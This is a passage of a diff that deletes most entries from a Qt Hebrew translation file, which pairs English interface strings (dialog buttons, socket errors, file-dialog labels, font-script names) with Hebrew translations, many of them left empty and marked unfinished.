- <source>&amp;Paste</source>
- <translation type="unfinished">ה&amp;דבק</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Clear</source>
- <translation type="unfinished">נקה</translation>
- </message>
- <message>
- <location line="+4"/>
- <location line="+2"/>
- <source>Select All</source>
- <translation type="unfinished">בחר הכל</translation>
- </message>
-</context>
-<context>
- <name>Q3TitleBar</name>
- <message>
- <location filename="../src/plugins/accessible/compat/q3complexwidgets.cpp" line="+246"/>
- <source>System</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Restore up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Minimize</source>
- <translation type="unfinished">מזער</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Restore down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Maximize</source>
- <translation type="unfinished">הגדל</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Close</source>
- <translation type="unfinished">סגור</translation>
- </message>
- <message>
- <location line="+18"/>
- <source>Contains commands to manipulate the window</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Puts a minimized back to normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Moves the window out of the way</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Puts a maximized window back to normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Makes the window full screen</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Closes the window</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Displays the name of the window and contains controls to manipulate it</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Q3ToolBar</name>
- <message>
- <location filename="../src/qt3support/widgets/q3toolbar.cpp" line="+692"/>
- <source>More...</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Q3UrlOperator</name>
- <message>
- <location filename="../src/qt3support/network/q3urloperator.cpp" line="+386"/>
- <location line="+260"/>
- <location line="+4"/>
- <source>The protocol `%1&apos; is not supported</source>
- <translation type="unfinished">הפרוטוקול &quot;%1&quot; אינו נתמך</translation>
- </message>
- <message>
- <location line="-260"/>
- <source>The protocol `%1&apos; does not support listing directories</source>
- <translation type="unfinished">הפרוטוקול &quot;%1&quot; לא תומך בהצגת ספריות</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support creating new directories</source>
- <translation type="unfinished">הפרוטוקול &quot;%1&quot; לא תומך ביצירת ספריית חדשות</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support removing files or directories</source>
- <translation type="unfinished">הפרוטוקול &quot;%1&quot; לא תומך בהסרת קבצים או ספריות</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support renaming files or directories</source>
- <translation type="unfinished">הפרוטוקול &quot;%1&quot; לא תומך בשינוי שמותיהם של קבצים או ספריות</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support getting files</source>
- <translation type="unfinished">הפרוטוקול &quot;%1&quot; לא תומך בהורדת קבצים</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The protocol `%1&apos; does not support putting files</source>
- <translation type="unfinished">הפרוטוקול &quot;%1&quot; לא תומך בהעלאת קבצים</translation>
- </message>
- <message>
- <location line="+243"/>
- <location line="+4"/>
- <source>The protocol `%1&apos; does not support copying or moving files or directories</source>
- <translation type="unfinished">הפרוטוקול &quot;%1&quot; לא תומך בהעתקה או העברה של קבצים או ספריות</translation>
- </message>
- <message>
- <location line="+237"/>
- <location line="+1"/>
- <source>(unknown)</source>
- <translation type="unfinished">(לא ידוע)</translation>
- </message>
-</context>
-<context>
- <name>Q3Wizard</name>
- <message>
- <location filename="../src/qt3support/dialogs/q3wizard.cpp" line="+177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&lt; &amp;Back</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Next &gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Finish</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Help</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QAbstractSocket</name>
- <message>
- <location filename="../src/network/socket/qabstractsocket.cpp" line="+868"/>
- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="+615"/>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="+657"/>
- <location line="+26"/>
- <source>Host not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+50"/>
- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="+3"/>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="+4"/>
- <source>Connection refused</source>
- <translation type="unfinished">החיבור נדחה</translation>
- </message>
- <message>
- <location line="+141"/>
- <source>Connection timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-547"/>
- <location line="+787"/>
- <location line="+208"/>
- <source>Operation on socket is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+137"/>
- <source>Socket operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+380"/>
- <source>Socket is not connected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="-8"/>
- <source>Network unreachable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QAbstractSpinBox</name>
- <message>
- <location filename="../src/gui/widgets/qabstractspinbox.cpp" line="+1199"/>
- <source>&amp;Step up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Step &amp;down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-8"/>
- <source>&amp;Select All</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
<name>QApplication</name>
<message>
- <location filename="../src/gui/kernel/qapplication.cpp" line="+2248"/>
<source>QT_LAYOUT_DIRECTION</source>
<comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
<translation>RTL</translation>
</message>
- <message>
- <location filename="../src/gui/dialogs/qmessagebox.h" line="+352"/>
- <source>Executable &apos;%1&apos; requires Qt %2, found Qt %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Incompatible Qt Library Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/accessible/qaccessibleobject.cpp" line="+376"/>
- <source>Activate</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Activates the program&apos;s main window</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QAxSelect</name>
- <message>
- <location filename="../src/activeqt/container/qaxselect.ui"/>
- <source>Select ActiveX Control</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>OK</source>
- <translation type="unfinished">אישור</translation>
- </message>
- <message>
- <location/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>COM &amp;Object:</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QCheckBox</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="+114"/>
- <source>Uncheck</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Check</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Toggle</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QColorDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qcolordialog.cpp" line="+1253"/>
- <source>Hu&amp;e:</source>
- <translation>&amp;גוון:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Sat:</source>
- <translation>&amp;הרוויה:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Val:</source>
- <translation>&amp;ערך:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Red:</source>
- <translation>&amp;אדום:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Green:</source>
- <translation>&amp;ירוק:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Bl&amp;ue:</source>
- <translation>&amp;כחול:</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A&amp;lpha channel:</source>
- <translation>ע&amp;רוץ אלפא:</translation>
- </message>
- <message>
- <location line="+101"/>
- <source>Select Color</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+137"/>
- <source>&amp;Basic colors</source>
- <translation>&amp;צבעים בסיסיים</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Custom colors</source>
- <translation>צבעים &amp;מותאמים אישית</translation>
- </message>
- <message>
- <source>&amp;Define Custom Colors &gt;&gt;</source>
- <translation type="obsolete">&amp;הגדר צבעים מותאמים אישית &gt;&gt;</translation>
- </message>
- <message>
- <source>OK</source>
- <translation type="obsolete">אישור</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation type="obsolete">ביטול</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Add to Custom Colors</source>
- <translation>ה&amp;וסף לצבעים מותאמים אישית</translation>
- </message>
- <message>
- <source>Select color</source>
- <translation type="obsolete">בחירת צבע</translation>
- </message>
-</context>
-<context>
- <name>QComboBox</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="+1771"/>
- <location line="+65"/>
- <source>Open</source>
- <translation type="unfinished">פתח</translation>
- </message>
- <message>
- <location filename="../src/gui/itemviews/qitemeditorfactory.cpp" line="+544"/>
- <source>False</source>
- <translation type="unfinished">שקר</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>True</source>
- <translation type="unfinished">אמת</translation>
- </message>
- <message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="+0"/>
- <source>Close</source>
- <translation type="unfinished">סגור</translation>
- </message>
-</context>
-<context>
- <name>QCoreApplication</name>
- <message>
- <location filename="../src/corelib/kernel/qsystemsemaphore_unix.cpp" line="+119"/>
- <source>%1: key is empty</source>
- <comment>QSystemSemaphore</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>%1: unable to make key</source>
- <comment>QSystemSemaphore</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>%1: ftok failed</source>
- <comment>QSystemSemaphore</comment>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDB2Driver</name>
- <message>
- <location filename="../src/sql/drivers/db2/qsql_db2.cpp" line="+1276"/>
- <source>Unable to connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+303"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to set autocommit</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDB2Result</name>
- <message>
- <location line="-1043"/>
- <location line="+243"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-206"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+196"/>
- <source>Unable to bind variable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+92"/>
- <source>Unable to fetch record %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to fetch next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Unable to fetch first</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDateTimeEdit</name>
- <message>
- <location filename="../src/gui/widgets/qdatetimeedit.cpp" line="+2295"/>
- <source>AM</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>am</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>PM</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>pm</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDial</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+951"/>
- <source>QDial</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>SpeedoMeter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>SliderHandle</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qdialog.cpp" line="+597"/>
- <source>What&apos;s This?</source>
- <translation>מה זה?</translation>
- </message>
- <message>
- <location line="-115"/>
- <source>Done</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDialogButtonBox</name>
- <message>
- <location filename="../src/gui/dialogs/qmessagebox.cpp" line="+1866"/>
- <location line="+464"/>
- <location filename="../src/gui/widgets/qdialogbuttonbox.cpp" line="+561"/>
- <source>OK</source>
- <translation type="unfinished">אישור</translation>
- </message>
- <message>
- <location filename="../src/gui/widgets/qdialogbuttonbox.cpp" line="+3"/>
- <source>Save</source>
- <translation type="unfinished">שמור</translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;Save</source>
- <translation type="unfinished">&amp;שמור</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Open</source>
- <translation type="unfinished">פתח</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Cancel</source>
- <translation type="unfinished">ביטול</translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Close</source>
- <translation type="unfinished">סגור</translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;Close</source>
- <translation type="unfinished">&amp;סגור</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Apply</source>
- <translation type="unfinished">החל</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Reset</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Help</source>
- <translation type="unfinished">עזרה</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Don&apos;t Save</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Discard</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>&amp;Yes</source>
- <translation type="unfinished">&amp;כן</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Yes to &amp;All</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>&amp;No</source>
- <translation type="unfinished">&amp;לא</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>N&amp;o to All</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Save All</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Abort</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Ignore</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Restore Defaults</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-29"/>
- <source>Close without Saving</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-27"/>
- <source>&amp;OK</source>
- <translation type="unfinished">&amp;אישור</translation>
- </message>
-</context>
-<context>
- <name>QDirModel</name>
- <message>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+453"/>
- <source>Name</source>
- <translation type="unfinished">שם</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Size</source>
- <translation type="unfinished">גודל</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation type="unfinished">סוג</translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Date Modified</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDockWidget</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/qaccessiblewidgets.cpp" line="+1239"/>
- <source>Close</source>
- <translation type="unfinished">סגור</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Dock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Float</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDoubleSpinBox</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-537"/>
- <source>More</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Less</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QErrorMessage</name>
- <message>
- <location filename="../src/gui/dialogs/qerrormessage.cpp" line="+391"/>
- <source>&amp;Show this message again</source>
- <translation>&amp;הצג הודעה זו שנית</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;OK</source>
- <translation>&amp;אישור</translation>
- </message>
- <message>
- <location line="-200"/>
- <source>Debug Message:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Warning:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Fatal Error:</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFile</name>
- <message>
- <location filename="../src/corelib/io/qfile.cpp" line="+708"/>
- <location line="+141"/>
- <source>Destination file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-108"/>
- <source>Cannot remove source file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+120"/>
- <source>Cannot open %1 for input</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Cannot open for output</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Failure to write block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Cannot create %1 for output</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFileDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="+515"/>
- <location line="+444"/>
- <source>All Files (*)</source>
- <translation>כל הקבצים (*)</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Back</source>
- <translation type="unfinished">אחורה</translation>
- </message>
- <message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>List View</source>
- <translation type="unfinished">תצוגת רשימה</translation>
- </message>
- <message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Detail View</source>
- <translation type="unfinished">תצוגת פרטים</translation>
- </message>
- <message>
- <location filename="../src/gui/itemviews/qfileiconprovider.cpp" line="+414"/>
- <location line="+1"/>
- <source>File</source>
- <translation type="unfinished">קובץ</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-461"/>
- <source>Open</source>
- <translation>פתח</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Save As</source>
- <translation type="unfinished">שמירה בשם</translation>
- </message>
- <message>
- <location line="+678"/>
- <location line="+50"/>
- <location line="+1471"/>
- <location line="+75"/>
- <source>&amp;Open</source>
- <translation>&amp;פתח</translation>
- </message>
- <message>
- <location line="-1596"/>
- <location line="+50"/>
- <source>&amp;Save</source>
- <translation>&amp;שמור</translation>
- </message>
- <message>
- <location line="-699"/>
- <source>&amp;Rename</source>
- <translation type="unfinished">ש&amp;נה שם</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Delete</source>
- <translation type="unfinished">&amp;מחק</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Show &amp;hidden files</source>
- <translation type="unfinished">הצג קבצים &amp;מוסתרים</translation>
- </message>
- <message>
- <location line="+1964"/>
- <source>New Folder</source>
- <translation type="unfinished">תיקיה חדשה</translation>
- </message>
- <message>
- <location line="-1999"/>
- <source>Find Directory</source>
- <translation type="unfinished">חפש ספריה</translation>
- </message>
- <message>
- <location line="+685"/>
- <source>Directories</source>
- <translation>ספריות</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog_win.cpp" line="+160"/>
- <source>All Files (*.*)</source>
- <translation type="unfinished">כל הקבצים (*.*)</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="+832"/>
- <source>%1 already exists.
-Do you want to replace it?</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>%1
-File not found.
-Please verify the correct file name was given.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+402"/>
- <source>My Computer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Parent Directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Files of type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-1496"/>
- <location line="+648"/>
- <source>Directory:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+794"/>
- <location line="+862"/>
- <source>%1
-Directory not found.
-Please verify the correct directory name was given.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-218"/>
- <source>&apos;%1&apos; is write protected.
-Do you want to delete it anyway?</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Are sure you want to delete &apos;%1&apos;?</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Could not delete directory.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+407"/>
- <source>Recent Places</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/itemviews/qfileiconprovider.cpp" line="-4"/>
- <source>Drive</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+33"/>
- <source>Unknown</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-2525"/>
- <source>Show </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Forward</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="+7"/>
- <source>&amp;New Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+656"/>
- <location line="+38"/>
- <source>&amp;Choose</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qsidebar.cpp" line="+418"/>
- <source>Remove</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-687"/>
- <location line="+652"/>
- <source>File &amp;name:</source>
- <translation type="unfinished">&amp;שם הקובץ:</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Look in:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Create New Folder</source>
- <translation type="unfinished">צור תיקיה חדשה</translation>
- </message>
-</context>
-<context>
- <name>QFileSystemModel</name>
- <message>
- <location filename="../src/gui/dialogs/qfilesystemmodel.cpp" line="+744"/>
- <source>%1 TB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>%1 GB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>%1 MB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>%1 KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>%1 bytes</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+77"/>
- <source>Invalid filename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&lt;b&gt;The name &quot;%1&quot; can not be used.&lt;/b&gt;&lt;p&gt;Try using another name, with fewer characters or no punctuations marks.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>Name</source>
- <translation type="unfinished">שם</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Size</source>
- <translation type="unfinished">גודל</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation type="unfinished">סוג</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Date Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfilesystemmodel_p.h" line="+234"/>
- <source>My Computer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Computer</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFontDatabase</name>
- <message>
- <location filename="../src/gui/text/qfontdatabase.cpp" line="+90"/>
- <location line="+1176"/>
- <source>Normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1173"/>
- <location line="+12"/>
- <location line="+1149"/>
- <source>Bold</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1158"/>
- <location line="+1160"/>
- <source>Demi Bold</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1157"/>
- <location line="+18"/>
- <location line="+1135"/>
- <source>Black</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1145"/>
- <source>Demi</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <location line="+1145"/>
- <source>Light</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1004"/>
- <location line="+1007"/>
- <source>Italic</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1004"/>
- <location line="+1006"/>
- <source>Oblique</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+705"/>
- <source>Any</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Latin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Greek</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Cyrillic</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Armenian</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Hebrew</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Arabic</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Syriac</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Thaana</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Devanagari</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Bengali</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Gurmukhi</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Gujarati</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Oriya</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Tamil</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Telugu</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Kannada</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Malayalam</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Sinhala</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Thai</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Lao</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Tibetan</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Myanmar</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Georgian</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Khmer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Simplified Chinese</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
